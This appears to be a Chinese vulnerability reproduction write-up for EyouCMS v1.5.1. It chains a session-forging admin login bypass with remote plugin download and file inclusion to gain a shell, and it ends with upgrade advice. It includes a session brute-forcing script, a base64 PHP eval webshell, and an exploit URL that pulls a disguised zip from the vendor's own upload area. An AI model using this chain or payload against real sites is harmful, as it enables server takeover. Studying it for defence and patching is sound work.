0x00 漏洞簡介
贊贊網絡科技 Eyoucms(易優CMS)是中國贊贊網絡科技公司的一套基于Thinkphp的開源內容管理系統(CMS)。
Eyoucms v1.5.1 及以前版本存在任意用戶后臺登陸與文件包含漏洞,該漏洞使攻擊者可以通過調用api,在前臺設置一個管理員的Session,后臺遠程插件下載文件包含getshell。
0x01 影響版本
EyouCMS
0x02 環境搭建
下載
官網下載V1.5.1版本
下載連接:https://qiniu.eyoucms.com/EyouCMS-V1.5.1-UTF8-SP3_142.zip
安裝
通過phpstudy集成環境簡單部署
0x03 漏洞分析
前臺設置管理員session在application/api/controller/ajax.php:215
get_Token
函數是可以前臺隨意調用的,另外形參中的
$name
變量也是通過http傳遞進來的。跟進token函數,如下圖所示。
高亮處有一個設置session的操作,名字是可控的,而值是請求時間戳md5的值。不可控。
可以嘗試通過這個設置session的操作,構造出一個后臺管理員的session。然后我們梳理一下后臺管理員的登錄邏輯。在application/admin/controller/Base.php:54
這里涉及到了兩個session,一個admin_login_expire,一個admin_id
if (session('?admin_id') && getTime() - intval($admin_login_expire) < $web_login_expiretime)
admin_login_expire
(該session會做減法的校驗,需要滿足一定條件)
admin_id
(該session有就即可,不會驗證其值)
設置完這兩個session后,我們繼續看到if條件判斷里還有一個
check_priv
函數,跟進查看:
if (0 >= intval(session('admin_info.role_id')))
admin_info.role_id
(滿足小于等于0即可)
設置完三個session后,就可以進后臺了,如圖所示:
后臺遠程插件下載getshell在application/admin/controller/Weapp.php:1235
這里傳進來一個$url,然后做一個url解析,需要滿足host為eyoucms.com。
也就是程序限制只能從官網下載插件安裝,但是這個校驗太簡單了,可以繞。
然后下文就是請求這個下載鏈接,做解壓操作,并包含進來config.php。
這后面再做的插件標準判斷已經不起作用了。
0x04 漏洞利用
前臺設置一個管理員的session
首先我們可以先取出成功登陸后的管理員session與未登錄的普通用戶session做對比
管理員:
普通用戶:
調用get_token函數設置名為admin_login_expire的session
再查看該普通用戶的session
已成功設置。
同樣的我們可以把admin_id與admin_info.roke_id添加進去。
但是這md5字符串顯然不符合漏洞分析中的要求,所以這里通過腳本不斷刷新session,直到尋找到合適的md5值
while 1 : admin_login_expire = api_psot("admin_login_expire") num_10 = admin_login_expire[2:12] if is_number(num_10): print("admin_login_expire=",num_10) break while 1 : role_id = api_psot("admin_info.role_id") num_1 = role_id[2:3] if num_1 in ["a","b","c","d","e","f"]: print("role_id=",num_1) break admin_id = api_psot("admin_id") print("admin_id=",admin_id[2:-1])
運行結果:
session:
@@##@@
再經過application/admin/controller/Base.php:58和:106的intval()的轉換:
@@##@@
成功使用該PHPSESSID進入后臺:
@@##@@
后臺遠程插件下載文件包含getshell
然后開始制作惡意壓縮包,文件目錄結構如下:
weapppweapptestconfig.phpconfig.php
文件內容為寫入webshell
<?php file_put_contents("./uploads/allimg/news_2021.php",base64_decode("PD9waHAgcGhwaW5mbygpO0BldmFsKCRfUE9TVFttb3Z4XSk7Pz4=")); ?>
壓縮成weappp.zip,修改后綴為jpg
到eyoucms.com官網尋找圖片上傳點
比如這個提問模塊的問題描述:
https://www.eyoucms.com/ask/
獲取到上傳的圖片地址:
https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
直接在瀏覽器中請求下載該插件:
http://192.168.58.180/login.php?m=admin&c=weapp&a=downloadInstall&url=https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
此時webshell已成功寫入:
訪問webshell:
0x05 修復建議
升級EyouCMS至V1.5.2或以后版本。